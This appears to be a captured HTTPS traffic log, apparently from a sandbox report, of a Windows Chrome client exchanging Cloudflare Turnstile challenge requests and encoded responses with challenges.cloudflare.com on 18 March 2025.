2025-03-18 12:42:34 UTC	6298	OUT	Data Raw: 71 51 38 77 52 68 6f 53 24 65 65 56 50 4b 77 4e 45 4e 55 79 45 43 67 65 68 72 55 6a 59 57 45 4a 54 71 52 52 62 79 4a 58 66 6a 6b 56 72 71 38 78 6a 56 4c 24 48 4a 58 6e 30 4e 79 65 68 58 31 79 61 4b 4c 70 52 33 57 70 6a 59 62 61 68 4a 36 24 45 34 75 51 6e 4e 4b 66 37 2d 66 24 32 57 30 69 4a 32 34 6a 35 31 68 5a 6f 62 53 45 76 69 34 68 73 62 38 33 44 75 4f 56 61 56 61 69 75 4f 69 53 58 65 54 24 79 39 62 69 6a 47 38 56 46 50 6f 57 47 66 63 6c 24 6c 2b 53 2d 6a 33 56 6b 6e 74 59 44 24 71 56 4b 56 6a 4d 6e 79 2d 37 37 36 68 39 61 46 69 6f 46 66 59 76 65 30 6e 63 4e 4f 6c 7a 42 33 6b 70 47 79 6c 4e 73 6d 32 55 65 6f 78 67 6d 4f 44 6a 69 37 44 34 6a 52 2b 64 46 4a 66 51 79 53 33 70 48 35 7a 64 49 31 46 79 4b 5a 66 76 44 6c 30 74 6a 65 64 65 37 73 36 34 56 49 59 Data Ascii: qQ8wRhoS$eeVPKwNENUyECgehrUjYWEJTqRRbyJXfjkVrq8xjVL$HJXn0NyehX1yaKLpR3WpjYbahJ6$E4uQnNKf7-f$2W0iJ24j51hZobSEvi4hsb83DuOVaVaiuOiSXeT$y9bijG8VFPoWGfcl$l+S-j3VkntYD$qVKVjMny-776h9aFioFfYve0ncNOlzB3kpGylNsm2UeoxgmODji7D4jR+dFJfQyS3pH5zdI1FyKZfvDl0tjede7s64VIY
2025-03-18 12:42:34 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:34 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 27992 Connection: close cf-chl-gen: 4/RTcmXKgBQhGpxD4sQGwkjr009LtBjxBtu4z9E5JoWN6Z5pMjQDhhcFFTdtugSs$NIBDPVOIdfPBPg8CgRBkBg== Server: cloudflare CF-RAY: 9224cf8d88997c7b-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:34 UTC	1047	IN	Data Raw: 69 34 74 52 5a 59 79 52 6c 6d 39 53 6c 6f 35 35 6d 31 5a 65 67 58 35 68 66 49 2b 6f 61 48 79 54 72 47 75 49 66 6d 68 76 72 58 47 78 69 35 57 44 63 62 61 61 6b 61 57 4b 65 5a 75 64 74 4a 65 32 67 4d 46 37 78 4c 57 58 78 49 43 39 71 38 47 58 75 38 65 61 6f 4d 76 56 68 38 6e 59 6d 4b 53 6e 31 37 43 70 72 4c 48 4a 6f 4e 53 36 31 65 43 75 77 4d 6a 4a 35 75 6a 73 79 73 37 59 7a 4c 43 76 35 4d 54 56 38 2f 54 34 32 75 62 52 32 74 72 5a 31 75 43 2b 30 4e 62 58 78 50 6e 65 34 77 48 58 34 41 54 6a 33 4f 4c 35 30 41 66 77 37 2f 49 45 38 39 41 4f 37 74 54 5a 37 50 6e 57 45 53 4c 68 36 78 63 63 33 50 37 6e 46 77 73 4c 46 69 44 6c 4a 6a 49 75 4a 79 2f 79 4e 75 77 30 4d 69 37 35 39 78 45 4a 43 45 42 41 45 7a 73 6a 2f 41 51 38 46 68 6f 42 47 7a 6b 75 4c 51 67 39 50 68 38 Data Ascii: i4tRZYyRlm9Slo55m1ZegX5hfI+oaHyTrGuIfmhvrXGxi5WDcbaakaWKeZudtJe2gMF7xLWXxIC9q8GXu8eaoMvVh8nYmKSn17CprLHJoNS61eCuwMjJ5ujsys7YzLCv5MTV8/T42ubR2trZ1uC+0NbXxPne4wHX4ATj3OL50Afw7/IE89AO7tTZ7PnWESLh6xcc3P7nFwsLFiDlJjIuJy/yNuw0Mi759xEJCEBAEzsj/AQ8FhoBGzkuLQg9Ph8
2025-03-18 12:42:34 UTC	1369	IN	Data Raw: 56 67 32 46 67 6d 59 53 69 64 70 78 75 61 47 69 78 6e 71 69 51 67 61 71 71 6c 49 71 76 72 71 36 53 75 5a 79 39 67 61 32 61 6b 62 75 41 79 58 79 67 76 70 69 4d 73 4b 61 6c 78 4d 6a 48 6a 73 4f 52 79 34 76 4b 79 4c 4f 73 6e 63 6e 61 73 4c 71 6a 34 72 32 6a 6e 64 76 69 30 36 53 6f 79 63 2f 4e 72 4d 33 48 72 63 48 78 31 38 57 34 32 4d 2f 63 73 73 37 38 76 50 43 37 30 73 4b 32 32 66 76 76 2b 41 54 33 37 50 54 2b 41 73 73 52 2f 41 30 4b 7a 65 76 50 46 42 6a 35 44 64 4d 46 36 67 38 63 31 2f 44 63 47 68 6b 41 46 75 50 2b 2b 52 73 58 47 66 59 6e 45 51 59 4a 2f 53 73 51 4a 2b 6a 70 4f 42 54 33 4f 53 6f 36 4c 51 38 31 44 43 2f 2b 4e 41 55 2f 4a 77 4e 48 43 53 30 58 4f 69 73 4d 53 68 35 55 50 6a 34 74 56 43 78 4b 52 54 78 61 4e 42 59 39 4b 6a 46 4c 4d 52 39 65 58 79 Data Ascii: Vg2FgmYSidpxuaGixnqiQgaqqlIqvrq6SuZy9ga2akbuAyXygvpiMsKalxMjHjsORy4vKyLOsncnasLqj4r2jndvi06Soyc/NrM3HrcHx18W42M/css78vPC70sK22fvv+AT37PT+AssR/A0KzevPFBj5DdMF6g8c1/DcGhkAFuP++RsXGfYnEQYJ/SsQJ+jpOBT3OSo6LQ81DC/+NAU/JwNHCS0XOisMSh5UPj4tVCxKRTxaNBY9KjFLMR9eXy
2025-03-18 12:42:34 UTC	1369	IN	Data Raw: 61 34 6d 47 63 48 2b 65 72 6f 32 4a 70 49 74 30 6d 61 4f 4a 6a 58 53 70 69 4c 65 5a 6f 6e 71 69 67 4c 65 53 6f 6f 65 57 77 4c 36 6f 70 36 44 42 6e 4b 36 66 30 63 47 52 72 70 65 77 32 4e 48 4b 74 39 6d 33 77 62 44 64 75 4f 47 39 32 4d 43 6a 78 61 58 49 70 38 50 67 71 4d 76 4f 35 4d 69 72 34 4e 50 30 78 76 6e 31 30 38 66 64 31 75 44 38 75 72 76 2b 2f 66 6a 67 38 77 45 4d 36 63 76 37 2b 65 72 50 37 41 72 73 31 42 59 48 39 74 54 57 36 66 76 53 36 77 41 42 46 4f 37 63 33 4f 51 42 34 53 67 65 39 79 4d 4b 47 4f 77 69 44 53 6b 4b 42 69 45 45 38 42 59 67 41 67 72 77 4a 66 73 30 46 68 2f 2b 48 77 41 4f 44 78 38 45 45 30 45 37 4a 54 73 49 53 42 77 59 52 30 67 52 49 53 73 67 53 68 4e 49 4b 46 41 72 52 56 6b 38 47 46 74 62 56 54 31 51 57 6d 68 47 4b 46 6c 57 52 79 78 Data Ascii: a4mGcH+ero2JpIt0maOJjXSpiLeZonqigLeSooeWwL6op6DBnK6f0cGRrpew2NHKt9m3wbDduOG92MCjxaXIp8PgqMvO5Mir4NP0xvn108fd1uD8urv+/fjg8wEM6cv7+erP7Ars1BYH9tTW6fvS6wABFO7c3OQB4Sge9yMKGOwiDSkKBiEE8BYgAgrwJfs0Fh/+HwAODx8EE0E7JTsISBwYR0gRISsgShNIKFArRVk8GFtbVT1QWmhGKFlWRyx
2025-03-18 12:42:34 UTC	1369	IN	Data Raw: 70 2b 4c 6f 47 71 51 69 35 52 38 75 62 32 71 63 73 43 4c 6f 49 50 44 74 61 53 48 79 72 6d 6f 69 38 33 4f 76 49 36 4f 78 37 4f 4b 6f 37 65 34 79 36 61 55 6c 4a 4c 4e 73 73 72 64 6d 4c 50 50 33 71 32 78 30 72 6a 4a 75 64 65 34 76 64 76 4c 75 75 66 4a 30 71 72 53 73 38 48 43 30 72 66 47 2b 4f 37 59 32 4e 65 34 30 64 7a 78 42 74 48 6e 43 67 58 4a 34 74 6b 45 34 73 58 71 79 38 7a 6f 37 65 45 41 7a 75 76 72 31 66 55 59 36 4f 6f 59 46 66 41 66 41 64 76 38 2f 76 77 47 33 2b 48 6b 43 78 76 74 48 69 54 6a 48 79 50 74 44 54 59 73 46 78 73 55 4a 2f 77 37 44 68 30 74 38 78 34 34 45 42 6c 48 42 30 41 4b 52 45 59 48 4a 69 5a 50 48 6c 45 38 43 69 31 45 55 31 67 79 4b 55 55 6f 4e 69 73 32 4c 79 35 69 4f 69 35 64 58 47 4a 51 4e 54 6c 56 4e 53 77 2b 50 57 35 4a 52 6c 78 4f Data Ascii: p+LoGqQi5R8ub2qcsCLoIPDtaSHyrmoi83OvI6Ox7OKo7e4y6aUlJLNssrdmLPP3q2x0rjJude4vdvLuufJ0qrSs8HC0rfG+O7Y2Ne40dzxBtHnCgXJ4tkE4sXqy8zo7eEAzuvr1fUY6OoYFfAfAdv8/vwG3+HkCxvtHiTjHyPtDTYsFxsUJ/w7Dh0t8x44EBlHB0AKREYHJiZPHlE8Ci1EU1gyKUUoNis2Ly5iOi5dXGJQNTlVNSw+PW5JRlxO
2025-03-18 12:42:34 UTC	1369	IN	Data Raw: 56 33 6e 6e 61 39 77 48 6c 30 77 49 33 41 77 4b 4b 35 74 4a 71 66 76 59 33 4c 77 4d 32 4e 69 4b 32 68 73 70 2f 58 79 4a 47 69 75 4b 66 4a 6c 61 6e 5a 76 4c 43 76 34 37 36 39 74 4c 58 55 30 38 4f 6a 78 73 79 34 34 62 7a 45 30 65 50 4d 31 61 37 6f 7a 75 50 58 2b 74 33 53 75 74 73 44 41 4e 62 77 39 50 54 41 32 62 2f 6e 78 67 37 74 78 76 73 43 37 68 50 38 37 76 49 4c 37 4f 41 51 30 52 73 50 30 77 6a 59 41 68 41 51 32 39 77 68 32 41 48 38 41 79 41 44 2f 75 51 4c 35 7a 41 52 36 41 63 4c 4d 77 66 79 47 4f 73 49 45 68 54 37 2f 51 38 61 2f 54 49 54 4f 54 6b 65 4e 77 41 34 4a 52 77 4a 50 7a 38 38 41 77 68 4f 54 78 31 54 57 44 41 52 51 7a 68 4a 54 6a 34 6e 45 6c 51 67 55 44 4d 58 59 30 4a 51 49 69 56 66 50 30 51 38 52 79 31 41 4c 6a 41 79 4c 6d 46 49 5a 6b 31 71 53 Data Ascii: V3nna9wHl0wI3AwKK5tJqfvY3LwM2NiK2hsp/XyJGiuKfJlanZvLCv4769tLXU08Ojxsy44bzE0ePM1a7ozuPX+t3SutsDANbw9PTA2b/nxg7txvsC7hP87vIL7OAQ0RsP0wjYAhAQ29wh2AH8AyAD/uQL5zAR6AcLMwfyGOsIEhT7/Q8a/TITOTkeNwA4JRwJPz88AwhOTx1TWDARQzhJTj4nElQgUDMXY0JQIiVfP0Q8Ry1ALjAyLmFIZk1qS
2025-03-18 12:42:34 UTC	1369	IN	Data Raw: 54 6f 37 69 42 6c 5a 2b 6f 79 59 6d 4a 6e 34 69 49 7a 61 66 4e 78 49 32 4e 71 63 2b 6d 79 35 48 48 75 73 69 79 7a 36 37 4b 6e 72 7a 57 72 75 48 67 76 61 44 42 71 64 71 32 34 75 44 73 79 4f 2f 6c 32 38 6a 71 36 75 65 79 36 2f 43 33 76 50 79 77 32 2b 33 66 41 39 49 41 39 76 47 35 78 76 6a 4a 2b 39 66 71 43 77 73 43 37 2b 62 74 38 77 2f 6d 37 4f 76 7a 46 77 6e 76 48 76 4c 35 46 2f 33 73 34 79 54 36 49 78 76 2b 48 77 45 44 39 2b 66 38 4d 4f 2f 2b 36 76 50 79 4c 2f 55 4f 47 51 4d 75 42 54 7a 37 4b 42 51 53 46 43 33 2b 4d 43 35 48 43 42 51 4a 46 7a 73 73 42 78 35 4a 50 51 52 54 46 42 39 4b 4c 30 4d 79 52 41 30 4f 58 43 6c 66 56 54 63 78 51 56 35 69 50 6a 52 6e 55 69 63 2f 61 69 59 71 62 47 70 75 53 6d 70 6d 52 46 4a 57 54 33 5a 30 55 32 5a 30 65 32 35 2f 54 6f Data Ascii: To7iBlZ+oyYmJn4iIzafNxI2Nqc+my5HHusiyz67KnrzWruHgvaDBqdq24uDsyO/l28jq6uey6/C3vPyw2+3fA9IA9vG5xvjJ+9fqCwsC7+bt8w/m7OvzFwnvHvL5F/3s4yT6Ixv+HwED9+f8MO/+6vPyL/UOGQMuBTz7KBQSFC3+MC5HCBQJFzssBx5JPQRTFB9KL0MyRA0OXClfVTcxQV5iPjRnUic/aiYqbGpuSmpmRFJWT3Z0U2Z0e25/To
2025-03-18 12:42:34 UTC	1369	IN	Data Raw: 6e 63 57 4c 6d 34 76 4f 75 4d 47 6d 30 38 7a 56 71 74 4f 4e 75 4b 71 4d 73 74 47 57 71 74 6d 37 6e 71 72 4e 34 72 65 59 77 4c 69 34 6e 4c 4f 6a 79 4c 72 70 38 61 4f 70 76 64 50 4b 72 4b 33 75 78 72 72 31 31 50 48 38 32 4c 4b 35 2f 65 7a 69 77 67 4c 46 2f 4d 49 48 33 75 62 4d 78 65 4c 75 30 42 44 38 7a 64 41 54 36 68 58 55 46 2b 37 37 39 52 72 64 2b 74 77 67 44 52 48 65 49 75 55 5a 35 79 59 58 39 75 63 73 47 52 6e 70 4c 67 63 50 39 54 4d 68 4e 66 50 78 44 2f 58 36 4f 69 6e 35 41 54 38 43 49 77 4e 43 43 42 4d 43 52 7a 55 6e 44 55 77 35 54 51 6c 51 50 51 34 51 44 69 74 42 46 56 64 46 53 52 74 61 48 6c 55 67 58 7a 64 6d 50 6d 4a 68 61 53 68 6d 50 32 6b 72 61 69 35 5a 4b 32 35 66 50 7a 42 7a 63 57 45 31 64 6a 70 39 4e 6e 70 54 67 54 6b 36 56 33 45 2b 67 6c 74 Data Ascii: ncWLm4vOuMGm08zVqtONuKqMstGWqtm7nqrN4reYwLi4nLOjyLrp8aOpvdPKrK3uxrr11PH82LK5/eziwgLF/MIH3ubMxeLu0BD8zdAT6hXUF+779Rrd+twgDRHeIuUZ5yYX9ucsGRnpLgcP9TMhNfPxD/X6Oin5AT8CIwNCCBMCRzUnDUw5TQlQPQ4QDitBFVdFSRtaHlUgXzdmPmJhaShmP2krai5ZK25fPzBzcWE1djp9NnpTgTk6V3E+glt

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:35 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:35 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 18 Mar 2025 12:42:35 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: PE5VIfFDhyLq5g4/jF8Lgs2AWpeAiAe0EW1hy1z0Ug/T0QhxKQrmt+My3UTmsF7ZdK5Oc7UQ5w30TLQljUk/sQ==$OWWHvE5Vny4hGDiSQeZ0hQ== Server: cloudflare CF-RAY: 9224cf92ebe74375-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:42:35 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:37 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 41476 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:37 UTC	16384	OUT	Data Raw: 6d 44 4a 6c 39 76 63 4e 64 76 55 47 4a 69 65 6a 45 63 46 37 4a 76 2b 63 32 6a 6f 4b 6c 67 6c 30 4a 6a 46 76 6a 66 71 6c 6a 64 6a 71 6a 56 6c 48 55 53 4f 6a 68 76 6a 53 57 6c 63 69 6a 33 6c 52 4c 59 44 31 65 30 6a 30 36 6a 43 64 59 55 6c 55 4a 6c 30 44 24 69 6a 6d 5a 4d 2b 6a 62 6c 63 4e 6a 30 6c 53 30 6a 45 61 61 6c 6a 6e 6a 37 78 4e 72 6b 7a 69 57 76 45 6a 63 71 6c 63 6e 53 6c 6a 31 24 6a 4f 2d 33 69 64 6d 39 79 33 50 55 5a 30 6d 6a 6c 4f 63 32 42 42 30 4a 6c 6a 4f 62 31 62 68 4c 73 75 6a 76 4f 76 67 71 36 70 43 6a 6a 46 71 63 79 6a 7a 51 4e 79 4b 48 79 4a 6a 76 34 75 6a 53 6e 46 79 64 4a 6c 57 6a 61 75 7a 64 71 6a 69 4c 34 54 4b 6a 6a 75 63 78 6a 53 68 51 48 24 79 32 42 68 6a 63 73 6b 72 51 30 6a 4a 55 6a 6b 72 55 6a 70 53 55 6a 63 6a 6a 74 31 4c 44 78 Data Ascii: mDJl9vcNdvUGJiejEcF7Jv+c2joKlgl0JjFvjfqljdjqjVlHUSOjhvjSWlcij3lRLYD1e0j06jCdYUlUJl0D$ijmZM+jblcNj0lS0jEaaljnj7xNrkziWvEjcqlcnSlj1$jO-3idm9y3PUZ0mjlOc2BB0JljOb1bhLsujvOvgq6pCjjFqcyjzQNyKHyJjv4ujSnFydJlWjauzdqjiL4TKjjucxjShQH$y2BhjcskrQ0jJUjkrUjpSUjcjjt1LDx
2025-03-18 12:42:37 UTC	16384	OUT	Data Raw: 53 69 78 6c 67 49 65 4e 46 57 43 6c 5a 71 30 4f 6c 4c 4f 76 30 76 4a 64 73 4a 76 61 75 57 4a 58 38 4f 52 78 42 24 37 47 70 53 30 75 57 7a 45 73 6b 5a 65 6d 6d 7a 74 76 47 38 6c 4a 6b 35 24 71 42 36 43 6c 4e 6a 72 66 4a 30 6a 34 58 30 31 61 70 55 73 6a 7a 4e 55 4e 6a 58 4d 71 6e 6a 74 6a 5a 24 39 32 44 32 73 7a 69 30 78 53 35 31 6a 6c 4a 36 50 4b 69 35 4e 69 63 48 38 57 35 4e 76 33 4a 44 34 48 79 53 2b 36 30 47 55 48 65 4a 76 73 74 47 6c 48 4a 53 73 61 77 38 5a 4a 53 70 78 2b 6c 48 4f 4b 30 6a 58 6c 32 5a 4a 51 51 69 69 4b 4e 63 71 71 47 7a 45 39 56 6d 48 35 2d 47 59 63 75 6e 76 36 6a 2b 63 43 55 4f 57 4f 78 74 6e 34 50 65 6e 44 32 4f 50 69 4a 47 74 53 35 4c 75 67 6e 44 32 56 42 6d 46 6c 68 63 55 57 57 73 63 69 24 50 6c 4d 54 6a 4d 6a 43 6c 72 45 76 6e 6a Data Ascii: SixlgIeNFWClZq0OlLOv0vJdsJvauWJX8ORxB$7GpS0uWzEskZemmztvG8lJk5$qB6ClNjrfJ0j4X01apUsjzNUNjXMqnjtjZ$92D2szi0xS51jlJ6PKi5NicH8W5Nv3JD4HyS+60GUHeJvstGlHJSsaw8ZJSpx+lHOK0jXl2ZJQQiiKNcqqGzE9VmH5-GYcunv6j+cCUOWOxtn4PenD2OPiJGtS5LugnD2VBmFlhcUWWsci$PlMTjMjClrEvnj
2025-03-18 12:42:37 UTC	8708	OUT	Data Raw: 71 51 38 77 52 68 6f 53 24 65 65 56 50 4b 77 4e 45 4e 55 79 45 43 67 65 68 72 55 6a 59 57 45 4a 54 71 52 52 62 79 4a 58 66 6a 6b 56 72 71 38 78 6a 56 4c 24 48 4a 58 6e 30 4e 79 65 68 58 31 79 61 4b 4c 70 52 33 57 70 6a 59 62 61 68 4a 36 24 45 34 75 51 6e 4e 4b 66 37 2d 66 24 32 57 30 69 4a 32 34 6a 35 31 68 5a 6f 62 53 45 76 69 34 68 73 62 38 33 44 75 4f 56 61 56 61 69 75 4f 69 53 58 65 54 24 79 39 62 69 6a 47 38 56 46 50 6f 57 47 66 63 6c 24 6c 2b 53 2d 6a 33 56 6b 6e 74 59 44 24 71 56 4b 56 6a 4d 6e 79 2d 37 37 36 68 39 61 46 69 6f 46 66 59 76 65 30 6e 63 4e 4f 6c 7a 42 33 6b 70 47 79 6c 4e 73 6d 32 55 65 6f 78 67 6d 4f 44 6a 69 37 44 34 6a 52 2b 64 46 4a 66 51 79 53 33 70 48 35 7a 64 49 31 46 79 4b 5a 66 76 44 6c 30 74 6a 65 64 65 37 73 36 34 56 49 59 Data Ascii: qQ8wRhoS$eeVPKwNENUyECgehrUjYWEJTqRRbyJXfjkVrq8xjVL$HJXn0NyehX1yaKLpR3WpjYbahJ6$E4uQnNKf7-f$2W0iJ24j51hZobSEvi4hsb83DuOVaVaiuOiSXeT$y9bijG8VFPoWGfcl$l+S-j3VkntYD$qVKVjMny-776h9aFioFfYve0ncNOlzB3kpGylNsm2UeoxgmODji7D4jR+dFJfQyS3pH5zdI1FyKZfvDl0tjede7s64VIY
2025-03-18 12:42:37 UTC	135	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4928 Connection: close
2025-03-18 12:42:37 UTC	1466	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 61 57 4f 35 4d 6f 50 71 5a 30 63 58 31 36 63 65 51 53 6e 2b 78 53 2b 62 6b 77 62 37 6b 64 62 78 57 7a 78 45 32 79 38 5a 47 38 74 73 59 7a 5a 32 6d 53 4c 53 32 45 39 7a 6d 37 74 2b 78 2b 6a 6e 6d 33 44 52 48 74 7a 4a 71 6c 58 31 50 32 71 36 61 63 5a 79 2f 47 47 4b 56 32 38 6c 47 7a 49 31 57 42 32 6e 37 49 31 74 6b 51 66 69 4c 32 58 49 46 41 41 72 63 39 38 4b 54 65 37 48 51 47 35 51 57 63 48 54 7a 4c 6e 71 44 2f 66 79 6a 4c 32 55 4e 78 33 4a 50 45 59 65 66 76 51 4f 6e 70 31 42 47 44 46 49 53 4b 36 43 44 78 4d 65 4f 4a 2f 45 7a 6f 4a 52 58 61 37 48 36 6e 46 77 7a 33 34 31 57 52 44 5a 4a 57 42 58 59 51 71 34 59 74 79 4f 44 4e 4e 61 4e 45 66 56 6a 6b 64 57 41 31 68 32 42 6f 65 76 32 63 57 47 4e 59 64 32 4a 31 53 50 44 Data Ascii: cf-chl-out-s: aWO5MoPqZ0cX16ceQSn+xS+bkwb7kdbxWzxE2y8ZG8tsYzZ2mSLS2E9zm7t+x+jnm3DRHtzJqlX1P2q6acZy/GGKV28lGzI1WB2n7I1tkQfiL2XIFAArc98KTe7HQG5QWcHTzLnqD/fyjL2UNx3JPEYefvQOnp1BGDFISK6CDxMeOJ/EzoJRXa7H6nFwz341WRDZJWBXYQq4YtyODNNaNEfVjkdWA1h2Boev2cWGNYd2J1SPD
2025-03-18 12:42:37 UTC	1137	IN	Data Raw: 69 34 74 52 5a 59 79 52 6c 6d 39 53 6c 6f 35 35 6d 31 5a 65 67 58 35 67 6a 57 57 6f 6b 57 65 44 71 36 5a 34 5a 33 69 62 63 48 2b 53 6b 61 79 70 6c 4c 47 50 72 6e 69 35 63 37 2b 33 65 6e 4f 4d 75 33 36 46 66 62 4f 61 78 49 69 38 6e 5a 61 63 78 39 47 44 30 49 71 53 74 4a 37 56 6c 36 69 79 6b 38 61 6c 72 4c 48 4a 6f 4e 57 2f 6e 62 72 42 78 4d 69 69 75 4c 37 6c 72 4f 48 4c 75 2b 75 73 79 38 2f 74 78 4d 71 32 75 4f 37 57 2f 66 6a 58 32 76 48 42 79 2f 4c 30 42 72 7a 62 2b 73 6e 54 35 39 76 56 78 75 58 73 33 64 44 76 38 64 2f 6b 36 67 4c 59 48 50 62 6e 47 66 58 37 37 52 58 72 2f 74 76 6b 35 67 44 66 39 69 6f 61 2b 42 38 51 48 67 45 70 4e 43 41 78 36 79 67 30 44 53 63 56 44 44 6b 70 4f 53 67 31 4c 78 49 4d 4c 2f 77 66 4f 78 63 38 49 7a 73 6e 4a 67 55 51 4a 56 45 Data Ascii: i4tRZYyRlm9Slo55m1ZegX5gjWWokWeDq6Z4Z3ibcH+SkayplLGPrni5c7+3enOMu36FfbOaxIi8nZacx9GD0IqStJ7Vl6iyk8alrLHJoNW/nbrBxMiiuL7lrOHLu+usy8/txMq2uO7W/fjX2vHBy/L0Brzb+snT59vVxuXs3dDv8d/k6gLYHPbnGfX77RXr/tvk5gDf9ioa+B8QHgEpNCAx6yg0DScVDDkpOSg1LxIML/wfOxc8IzsnJgUQJVE
2025-03-18 12:42:37 UTC	1369	IN	Data Raw: 4f 50 55 33 38 69 6d 37 4f 48 6e 31 4b 62 6b 35 72 4c 57 2b 4f 32 34 72 73 2f 77 39 73 37 65 38 50 6f 45 30 76 50 35 41 64 4c 38 2f 74 59 46 42 65 41 46 38 67 4c 6a 41 65 34 4b 35 68 44 6e 44 74 50 6c 32 76 58 2b 32 4f 41 64 41 2f 34 50 48 67 6b 48 49 53 49 4d 42 67 41 66 35 67 73 6a 4a 67 4d 78 41 79 54 75 49 51 73 31 44 6a 45 50 4c 44 63 70 49 42 33 39 50 77 59 36 50 6a 67 47 51 68 38 65 49 45 6b 78 50 53 4e 49 44 43 4d 6b 52 43 6b 6a 4a 54 55 37 58 44 42 57 47 6c 67 55 57 78 39 4e 4d 6c 73 6b 53 69 64 6a 4a 68 39 5a 61 56 46 74 55 46 38 78 54 69 35 6c 52 31 64 4d 61 48 4a 70 61 57 39 54 54 6a 74 66 55 32 4e 58 67 56 52 31 66 33 39 47 53 6d 47 48 69 49 46 6c 67 56 4a 6e 6c 6f 31 6b 69 31 71 52 62 48 4e 77 6d 46 31 54 6a 35 4b 46 63 6d 57 53 6e 70 32 4c Data Ascii: OPU38im7OHn1Kbk5rLW+O24rs/w9s7e8PoE0vP5AdL8/tYFBeAF8gLjAe4K5hDnDtPl2vX+2OAdA/4PHgkHISIMBgAf5gsjJgMxAyTuIQs1DjEPLDcpIB39PwY6PjgGQh8eIEkxPSNIDCMkRCkjJTU7XDBWGlgUWx9NMlskSidjJh9ZaVFtUF8xTi5lR1dMaHJpaW9TTjtfU2NXgVR1f39GSmGHiIFlgVJnlo1ki1qRbHNwmF1Tj5KFcmWSnp2L
2025-03-18 12:42:37 UTC	1369	IN	Data Raw: 47 77 77 2f 44 51 76 74 4c 49 77 2f 6e 4c 35 4d 66 4e 7a 75 6a 38 33 37 76 2b 2b 50 6a 67 38 77 41 4d 36 63 76 2b 2b 65 72 50 36 38 2f 75 7a 39 4c 51 37 39 6a 6e 31 76 77 51 36 74 6a 59 31 75 73 4e 42 52 2f 63 48 67 59 6c 38 66 55 58 2f 41 37 39 48 50 77 43 49 42 44 2b 4d 2f 4d 58 4e 50 62 33 4b 43 59 63 39 67 41 70 48 6a 67 43 48 52 6f 38 4d 53 4d 36 50 68 5a 48 42 56 42 45 48 53 56 4d 49 54 41 6a 55 43 73 71 4c 56 46 48 57 6c 68 65 53 68 63 66 4b 31 55 6b 49 57 59 61 61 47 46 72 50 6b 45 2b 62 6a 31 51 57 7a 35 43 4c 57 70 43 54 30 6c 4e 4e 6d 52 78 57 33 56 52 55 55 41 38 68 56 56 56 56 56 31 79 67 32 6c 64 5a 56 74 2f 54 5a 4a 6e 6b 6f 79 56 6c 6e 46 56 61 31 4e 61 68 5a 71 54 57 49 35 72 69 35 32 61 6b 59 61 45 6e 4b 53 6b 6e 6e 53 4c 67 61 4f 44 70 Data Ascii: Gww/DQvtLIw/nL5MfNzuj837v++Pjg8wAM6cv++erP68/uz9LQ79jn1vwQ6tjY1usNBR/cHgYl8fUX/A79HPwCIBD+M/MXNPb3KCYc9gApHjgCHRo8MSM6PhZHBVBEHSVMITAjUCsqLVFHWlheShcfK1UkIWYaaGFrPkE+bj1QWz5CLWpCT0lNNmRxW3VRUUA8hVVVVV1yg2ldZVt/TZJnkoyVlnFVa1NahZqTWI5ri52akYaEnKSknnSLgaODp
